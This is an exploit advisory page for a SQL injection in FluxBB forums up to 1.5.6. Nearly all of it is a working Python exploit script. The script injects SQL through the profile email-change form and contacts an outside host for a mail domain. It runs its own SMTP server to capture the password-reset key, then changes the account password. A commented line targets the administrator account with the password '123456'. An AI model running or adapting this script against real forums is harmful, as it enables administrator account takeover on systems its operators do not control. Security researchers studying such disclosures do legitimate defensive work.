FluxBB < 1.5.6 SQL Injection

2018.10.13
Credit: secthrowaway
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

#!/usr/bin/env python # Friday, November 21, 2014 - secthrowaway () safe-mail net # FluxBB <= 1.5.6 SQL Injection # make sure that your IP is reachable url = 'http://target.tld/forum/' user = 'user' # dummy account pwd = 'test' import urllib, sys, smtpd, asyncore, re, sha from email import message_from_string from urllib2 import Request, urlopen ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" bindip = '0.0.0.0' def stage1(sql): if len(sql) > 80: sys.exit('SQL too long, max 80 chars') print "1st stage: %s (%d chars)" % (sql, len(sql)) r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid), data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie": cookie})).read() if 'An email has been sent to the specified address' not in r: sys.exit('err') def stage3(key): print "3rd stage, using key: %s" % key r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key), headers={"User-agent": ua})).read() if 'Your password has been updated' in r: print 'success' else: print 'err' class stage2_smtp(smtpd.SMTPServer): def process_message(self, peer, mailfrom, rcpttos, data): print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE) if key is not None: raise asyncore.ExitNow(key.group(2)) return def login(): print "logging in" r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua})) try: t = r.info()['set-cookie'].split(';')[0] return (t.split('=')[1].split('%7C')[0], t) except: sys.exit('unable to login, check user/pass') uid, cookie = login() email_domain = urlopen(Request('http://tns.re/gen')).read() print "using domain: %s" % email_domain #this will change your password to your password :) stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain)) #this will change admin's (uid=2) password "123456" #stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain)) try: print "2nd stage: waiting for mail" server = stage2_smtp((bindip, 25), None) asyncore.loop() except asyncore.ExitNow, key: stage3(key)


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